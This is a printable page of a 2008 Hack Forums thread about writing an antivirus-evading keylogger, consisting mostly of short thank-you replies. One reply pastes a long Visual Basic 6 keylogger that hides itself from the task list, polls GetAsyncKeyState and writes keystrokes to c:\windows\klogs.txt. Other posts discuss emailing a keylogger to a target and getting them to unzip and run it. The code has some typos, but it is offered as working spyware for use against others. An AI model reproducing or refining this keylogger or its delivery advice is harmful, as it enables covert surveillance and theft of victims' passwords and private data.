Hack Forums
Complete Keylogging tutorial (writing own keylogger 80-95% UD) - Printable Version

+- Hack Forums (https://hackforums.net)
+-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45)
+--- Forum: Grayhat • Purple Team • Hybrid Security (https://hackforums.net/forumdisplay.php?fid=449)
+---- Forum: Beginner Hacking (https://hackforums.net/forumdisplay.php?fid=4)
+----- Forum: Hacking Tutorials (https://hackforums.net/forumdisplay.php?fid=47)
+----- Thread: Complete Keylogging tutorial (writing own keylogger 80-95% UD) (/showthread.php?tid=29260)

Pages: Pages 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54

- juzten - Nov 11, 2008

gr8 post, thanks

gr8 post, thanks

- phr0z3n - Nov 12, 2008

(Nov 11, 2008 08:39 AM)Mathias Wrote:  
(Nov 10, 2008 06:12 AM)phr0z3n Wrote:  ...

try this:

Private sub Form_Load()
If app.previnstance = true then end
app.taskvisible = false
if dir("c:\windows\klogs.txt") <> "" then
open "c:\windows\klogs.txt" for append as #1
print #1,
print #1, Datetime.Time
print #1,
close #1
else
end if
end sub


Thanks, it helped alot.

- flyhigh427 - Nov 12, 2008

thats a long one

- AMDM - Nov 12, 2008

good post

+1

- 2pbp - Nov 13, 2008

(Nov 4, 2008 01:36 PM)DanM Wrote:  Nice guide, i will have to get VB! will this tut work with any vb version? i want the newfree onefrom microsoft site.

@[email protected]
Quote:ok i went out and bought a keylogger with remote deploy. i would like to know how to send that to someones computer via email. i use gmail and i cant send .exe files through it unless i change the extension which defeats the purpose because then i need to tell the person im attacking to change it back to .exe? any help on this one?


Nooo dont buy a keylogger, there are guides on this site on how to use keyloggers with links to download for free!
Also u will have to zip the file to send in email. Then they just unzip it and [/align]run

yes but why would they unzip and run if they will see an exe file in the zip?

- sevic33 - Nov 14, 2008

tnc for this nice tutorial

- yL. - Nov 15, 2008

Nice tutorial

- Vaqxine - Nov 17, 2008

You won't believe how many rips of this I've seen already.

- XXX-XXX - Nov 17, 2008

nice tut.!! -:))

- Viral Dragon - Nov 18, 2008

Mmmm, great tutorial and interesting thing to do with VB. However, I need some help . *cries*.
I've done everything as instructed, re-reading the steps at least 5 times. Having done everything as I should have,
I hit the debug button like you instructed and i brought up Notepad, type miscellaneous junk such as "dfsdf sadf !@#$@#42312"
and waited 5 minutes (but in the coding i used an interval of suggested timing).

I tried this twice, one without saving the text, the other with saving the txt file.
after which I went to the designated path "c:\windows\klog.txt"
funny enough it wasn't there both times. I tried changing the path, and the name. neither worked, so I reverted it back to normal.

Now..my question is....what could I have possibly have done wrong?
Heres the code I typed in...mabey I made a mistake, but I doubt it.
Code
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vkey As Long) As Integer
Dim shift As Boolean
Dim caps As Boolean
Private Sub Form_Load()
If App.PrevInstance = True Then End
App.TaskVisible = False
If Dir("c:\windows\klogs.txt") <> "" Then
Open "c:\windows\klogs.txt" For Append As #1
Write #1,
Write #1, DateTime.Time
Write #1,
Close #1
End If
End Sub

Private Sub Timer1_Timer()
If GetAsyncKeyState(16) <> 0 Then
shift = True
End If
If GetAsyncKeyState(20) <> 0 Then
If caps = True Then
Label1.Caption = Label1.Caption + "(/caps)"
caps = False
GoTo caps
End If
Label1.Caption = Label.Caption + "(caps)"
caps = True
End If
caps:
If GetAsyncKeyState(65) <> 0 Then
If shift = True Then
Label1.Caption = Label.Caption + "A"
shift = False
GoTo a
End If
Label1.Caption = Label1.Caption + "a"
End If
a:
If GetAsyncKeyState(66) <> 0 Then
If shift = True Then
Label1.Caption = Label1.Caption + "B"
shift = False
GoTo b
End If
Label1.Caption = Label1.Caption + "b"
End If
b:
If GetAsyncKeyState(67) <> 0 Then
If shift = True Then
Label1.Caption = Label1.Caption + "C"
shift = False
GoTo c
End If
Label1.Caption = Label1.Caption + "c"
End If
c:
If GetAsyncKeyState(68) <> 0 Then
If shift = True Then
Label1.Caption = Label1.Caption + "D"
shift = False
GoTo d
End If
Label1.Caption = Label1.Caption + "d"
End If
d:
If GetAsyncKeyState(69) <> 0 Then
If shift = True Then
Label1.Caption = Label1.Caption + "E"
shift = False
GoTo e
End If
Label1.Caption = Label1.Caption + "e"
End If
e:
If GetAsyncKeyState(70) <> 0 Then
If shift = True Then
Label1.Caption = Label1.Caption + "F"
shift = False
GoTo f
End If
Label1.Caption = Label1.Caption + "f"
End If
f:
If GetAsyncKeyState(71) <> 0 Then
If shift = True Then
Label1.Caption = Label1.Caption + "G"
shift = False
GoTo g
End If
Label1.Caption = Label1.Caption + "g"
End If
g:
If GetAsyncKeyState(72) <> 0 Then
If shift = True Then
Label1.Caption = Label1.Caption + "H"
shift = False
GoTo h
End If
Label1.Caption = Label1.Caption + "h"
End If
h:
If GetAsyncKeyState(73) <> 0 Then
If shift = True Then
Label1.Caption = Label1.Caption + "I"
shift = False
GoTo i
End If
Label1.Caption = Label1.Caption + "i"
End If
i:
If GetAsyncKeyState(74) <> 0 Then
If shift = True Then
Label1.Caption = Label1.Caption + "J"
shift = False
GoTo j
End If
Label1.Caption = Label1.Caption + "j"
End If
j:
If GetAsyncKeyState(75) <> 0 Then
If shift = True Then
Label1.Caption = Label1.Caption + "K"
shift = False
GoTo k
End If
Label1.Caption = Label1.Caption + "k"
End If
k:
If GetAsyncKeyState(76) <> 0 Then
If shift = True Then
Label1.Caption = Label1.Caption + "L"
shift = False
GoTo l
End If
Label1.Caption = Label1.Caption + "l"
End If
l:
If GetAsyncKeyState(77) <> 0 Then
If shift = True Then
Label1.Caption = Label1.Caption + "M"
shift = False
GoTo m
End If
Label1.Caption = Label1.Caption + "m"
End If
m:
If GetAsyncKeyState(78) <> 0 Then
If shift = True Then
Label1.Caption = Label1.Caption + "N"
shift = False
GoTo n
End If
Label1.Caption = Label1.Caption + "n"
End If
n:
If GetAsyncKeyState(79) <> 0 Then
If shift = True Then
Label1.Caption = Label1.Caption + "O"
shift = False
GoTo o
End If
Label1.Caption = Label1.Caption + "o"
End If
o:
If GetAsyncKeyState(80) <> 0 Then
If shift = True Then
Label1.Caption = Label1.Caption + "P"
shift = False
GoTo p
End If
Label1.Caption = Label1.Caption + "p"
End If
p:
If GetAsyncKeyState(81) <> 0 Then
If shift = True Then
Label1.Caption = Label1.Caption + "Q"
shift = False
GoTo q
End If
Label1.Caption = Label1.Caption + "q"
End If
q:
If GetAsyncKeyState(82) <> 0 Then
If shift = True Then
Label1.Caption = Label1.Caption + "R"
shift = False
GoTo r
End If
Label1.Caption = Label1.Caption + "r"
End If
r:
If GetAsyncKeyState(83) <> 0 Then
If shift = True Then
Label1.Caption = Label1.Caption + "S"
shift = False
GoTo s
End If
Label1.Caption = Label1.Caption + "s"
End If
s:
If GetAsyncKeyState(84) <> 0 Then
If shift = True Then
Label1.Caption = Label1.Caption + "T"
shift = False
GoTo t
End If
Label1.Caption = Label1.Caption + "t"
End If
t:
If GetAsyncKeyState(85) <> 0 Then
If shift = True Then
Label1.Caption = Label.Caption + "U"
shift = False
GoTo u
End If
Label1.Caption = Label1.Caption + "u"
End If
u:
If GetAsyncKeyState(86) <> 0 Then
If shift = True Then
Label1.Caption = Label.Caption + "V"
shift = False
GoTo v
End If
Label1.Caption = Label1.Caption + "v"
End If
v:
If GetAsyncKeyState(87) <> 0 Then
If shift = True Then
Label1.Caption = Label.Caption + "W"
shift = False
GoTo w
End If
Label1.Caption = Label1.Caption + "w"
End If
w:
If GetAsyncKeyState(88) <> 0 Then
If shift = True Then
Label1.Caption = Label.Caption + "X"
shift = False
GoTo x
End If
Label1.Caption = Label1.Caption + "x"
End If
x:
If GetAsyncKeyState(89) <> 0 Then
If shift = True Then
Label1.Caption = Label.Caption + "Y"
shift = False
GoTo y
End If
Label1.Caption = Label1.Caption + "y"
End If
y:
If GetAsyncKeyState(90) <> 0 Then
If shift = True Then
Label1.Caption = Label.Caption + "Z"
shift = False
GoTo z
End If
Label1.Caption = Label1.Caption + "z"
End If
z:
If GetAsyncKeyState(48) <> 0 Then
If shift = True Then
Label1.Caption = Label.Caption + ")"
shift = False
GoTo 0
End If
Label1.Caption = Label1.Caption + "0"
End If
0:
If GetAsyncKeyState(49) <> 0 Then
If shift = True Then
Label1.Caption = Label.Caption + "!"
shift = False
GoTo 1
End If
Label1.Caption = Label1.Caption + "1"
End If
1:
If GetAsyncKeyState(50) <> 0 Then
If shift = True Then
Label1.Caption = Label.Caption + "@"
shift = False
GoTo 2
End If
Label1.Caption = Label1.Caption + "2"
End If
2:
If GetAsyncKeyState(51) <> 0 Then
If shift = True Then
Label1.Caption = Label.Caption + "#"
shift = False
GoTo 3
End If
Label1.Caption = Label1.Caption + "3"
End If
3:
If GetAsyncKeyState(52) <> 0 Then
If shift = True Then
Label1.Caption = Label.Caption + "$"
shift = False
GoTo 4
End If
Label1.Caption = Label1.Caption + "4"
End If
4:
If GetAsyncKeyState(53) <> 0 Then
If shift = True Then
Label1.Caption = Label.Caption + "%"
shift = False
GoTo 5
End If
Label1.Caption = Label1.Caption + "5"
End If
5:
If GetAsyncKeyState(54) <> 0 Then
If shift = True Then
Label1.Caption = Label.Caption + "^"
shift = False
GoTo 6
End If
Label1.Caption = Label1.Caption + "6"
End If
6:
If GetAsyncKeyState(55) <> 0 Then
If shift = True Then
Label1.Caption = Label.Caption + "&"
shift = False
GoTo 7
End If
Label1.Caption = Label1.Caption + "7"
End If
7:
If GetAsyncKeyState(56) <> 0 Then
If shift = True Then
Label1.Caption = Label.Caption + "*"
shift = False
GoTo 8
End If
Label1.Caption = Label1.Caption + "8"
End If
8:
If GetAsyncKeyState(57) <> 0 Then
If shift = True Then
Label1.Caption = Label.Caption + "("
shift = False
GoTo 9
End If
Label1.Caption = Label1.Caption + "9"
End If
9:
If GetAsyncKeyState(96) <> 0 Then
Label1.Caption = Label1.Caption + "0"
End If
If GetAsyncKeyState(97) <> 0 Then
Label1.Caption = Label1.Caption + "1"
End If
If GetAsyncKeyState(98) <> 0 Then
Label1.Caption = Label1.Caption + "2"
End If
If GetAsyncKeyState(99) <> 0 Then
Label1.Caption = Label1.Caption + "3"
End If
If GetAsyncKeyState(100) <> 0 Then
Label1.Caption = Label1.Caption + "4"
End If
If GetAsyncKeyState(101) <> 0 Then
Label1.Caption = Label1.Caption + "5"
End If
If GetAsyncKeyState(102) <> 0 Then
Label1.Caption = Label1.Caption + "6"
End If
If GetAsyncKeyState(103) <> 0 Then
Label1.Caption = Label1.Caption + "7"
End If
If GetAsyncKeyState(104) <> 0 Then
Label1.Caption = Label1.Caption + "8"
End If
If GetAsyncKeyState(105) <> 0 Then
Label1.Caption = Label1.Caption + "9"
End If

End Sub

Private Sub Timer2_Timer()
On Error GoTo skip
If Dir("c:\windows\klogs.txt") <> "" Then
Open "c:\windows\klogs.txt" For Append As #1
Write #1, Label1.Caption
Close #1
Else
Open "c:\windows\klogs.txt" For Output As #1
Write #1, DateTime.Time
Write #1,
Write #1, Label1.Caption
Close #1
End If
Label1.Caption = "30"
End Sub
skip:


- naid - Nov 18, 2008

This is great.
Im mostly into c++ but i know a little in VB6 two.
But this post was great ;-)

- Networkmancer - Nov 18, 2008

Nice tutorial. it helps a lot. ^^

- reelraw - Nov 20, 2008

cool stuff man

- king222 - Nov 20, 2008

Wow man this is the best TUT i found in all over the net Thanks

- cb21 - Nov 21, 2008

nice tutorial